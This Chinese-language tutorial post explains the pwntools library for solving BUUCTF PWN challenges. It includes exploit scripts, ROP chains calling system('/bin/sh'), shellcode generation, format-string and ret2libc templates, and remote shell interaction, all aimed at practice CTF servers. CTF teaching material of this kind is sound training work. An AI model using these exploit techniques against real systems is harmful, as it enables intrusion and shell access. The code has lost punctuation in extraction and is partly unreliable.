PWN解题神器pwntools详解:用Python脚本自动化搞定BUUCTF的NC/RIP题型

张开发
2026/4/4 22:48:09 15 分钟阅读
PWN解题神器pwntools详解:用Python脚本自动化搞定BUUCTF的NC/RIP题型
PWN解题神器pwntools详解用Python脚本自动化搞定BUUCTF的NC/RIP题型在CTF竞赛中PWN题型一直是考察选手底层技术实力的重要战场。而pwntools作为专为二进制漏洞利用设计的Python库已经成为现代PWN选手的标配工具。本文将带你深入掌握pwntools的核心功能通过BUUCTF平台上的典型题目(NC连接/RIP溢出)演示如何用Python脚本实现自动化攻击流程。1. pwntools环境配置与基础API工欲善其事必先利其器。在开始实战前我们需要确保pwntools环境正确配置。推荐使用Python 3.6环境通过pip安装最新版本pip install pwntools --upgrade验证安装是否成功import pwn print(pwn.__version__)pwntools的核心API模块包括remote: 建立远程连接process: 启动本地进程send/recv: 数据交互interactive: 进入交互模式ELF: 解析二进制文件一个典型的pwntools脚本结构如下from pwn import * context.log_level debug # 开启调试输出 # 初始化连接 io remote(靶机地址, 端口) # 或 process(./binary) # 交互流程 io.sendline(bpayload) response io.recvuntil(bdelimiter) # 获取shell io.interactive()提示在开发阶段建议始终开启context.log_level debug可以清晰看到所有发送和接收的数据。2. NC题型自动化攻击实战以BUUCTF的test_nc题目为例演示完整的自动化攻击流程。这类题型通常只需要建立连接并发送特定指令即可获取flag。2.1 题目分析与工具准备首先使用checksec检查二进制保护机制checksec --file./test_nc常见保护机制包括保护机制说明影响NX数据执行保护阻止shellcode执行PIE地址随机化增加ROP利用难度Canary栈保护防止栈溢出RELRO重定位保护限制GOT表修改对于NC类题目通常保护较少重点在于网络交互。2.2 pwntools自动化脚本开发完整攻击脚本示例#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) context.log_level debug def exploit(): # 本地测试 # io process(./test_nc) # 远程连接 io remote(node5.buuoj.cn, 27469) # 接收欢迎信息 io.recvuntil(bWelcome!) # 发送payload payload bcat flag.txt\n io.sendline(payload) # 获取flag flag io.recvline().decode().strip() log.success(fFlag: {flag}) # 关闭连接 io.close() if __name__ __main__: exploit()关键点说明使用recvuntil确保在正确时机发送payload所有发送数据必须为bytes类型前缀b善用log模块输出调试信息2.3 调试技巧与错误处理开发过程中常见的调试方法# 打印接收到的数据 print(io.recv()) # 设置超时避免卡死 io.settimeout(3) # 异常处理 try: response io.recv(timeout2) except EOFError: log.error(Connection closed unexpectedly)3. RIP栈溢出题型深度利用RIP(Return Instruction Pointer)控制是PWN中的基础攻击方式。我们以BUUCTF的rip题目为例演示pwntools在栈溢出中的高级应用。3.1 漏洞分析与偏移计算首先使用IDA分析二进制文件发现危险函数getschar s[16]; gets(s); // 无长度限制的栈溢出漏洞计算填充偏移的几种方法静态分析通过IDA查看栈帧布局动态调试使用cyclic模式生成测试字符串pwntools自动化# 生成测试pattern pattern cyclic(100) io.sendline(pattern) # 崩溃后从core dump获取偏移 core io.corefile offset cyclic_find(core.eip)3.2 ROP链构造与利用当存在NX保护时我们需要使用ROP(Return-Oriented Programming)技术。pwntools提供了强大的ROP链构建功能# 加载二进制文件 elf ELF(./rip) # 创建ROP对象 rop ROP(elf) # 查找gadget rop.raw(bA*offset) # 填充偏移 rop.call(elf.sym[system], [next(elf.search(b/bin/sh))]) # 生成最终payload payload rop.chain()常用ROPgadget查找命令ROPgadget --binary ./rip --only pop|ret3.3 完整利用脚本示例from pwn import * context(archamd64, oslinux) context.log_level debug def exploit(): elf ELF(./rip) # 计算偏移 offset 40 # 构造payload payload flat( bA*offset, elf.sym[win] # 假设存在后门函数win ) # 本地测试 # io process(elf.path) # gdb.attach(io, b *main) # 远程攻击 io remote(node5.buuoj.cn, 27470) io.sendlineafter(b:, payload) io.interactive() if __name__ __main__: exploit()4. pwntools高级技巧与最佳实践4.1 字节流处理全攻略pwntools提供了丰富的字节流处理工具# 整数打包 p32(0xdeadbeef) # 32位小端序 p64(0xcafebabe) # 64位小端序 # 字符串处理 bhello.ljust(20, bA) # 左对齐填充 bworld.rjust(20, bB) # 右对齐填充 # 格式字符串 fmtstr_payload(offset, {address: value}) # 格式化字符串攻击4.2 本地调试与远程攻击无缝切换开发EXP时的最佳实践def get_io(): if args.REMOTE: return remote(node5.buuoj.cn, 27471) else: return process(./binary) io get_io()配合GDB调试if not args.REMOTE: gdb.attach(io, b *main continue )4.3 常用payload模板库建立自己的payload模板库可以大幅提高效率# ret2libc模板 def ret2libc(offset, func, arg): rop ROP(elf) rop.raw(bA*offset) rop.call(func, [arg]) return rop.chain() # shellcode模板 def create_shellcode(): return asm(shellcraft.sh())5. 实战经验与避坑指南在实际CTF比赛中有几个常见问题需要注意字节对齐问题x64架构要求栈16字节对齐ROP链中可能需要添加额外ret指令环境差异本地和远程的libc版本可能不同需要动态获取函数地址输入过滤某些题目会对输入进行过滤需要编码绕过一个健壮的EXP应该包含错误处理和多种攻击路径def try_exploit(io): try: # 主攻击路径 payload main_payload() io.sendline(payload) io.sendline(bcat flag*) return io.recvline() except: # 备用攻击路径 payload fallback_payload() io.sendline(payload) return io.recvall(timeout1)最后建议将常用功能封装成工具函数比如自动获取libc偏移def get_libc_base(io, func_name): io.sendlineafter(b, bleak) leak io.recvline() return unpack(leak.ljust(8, b\x00)) - libc.sym[func_name]掌握这些pwntools技巧后你会发现PWN题目的解决效率将大幅提升。记住好的工具使用习惯和规范的代码结构往往比复杂的攻击技巧更能决定比赛中的成败。

更多文章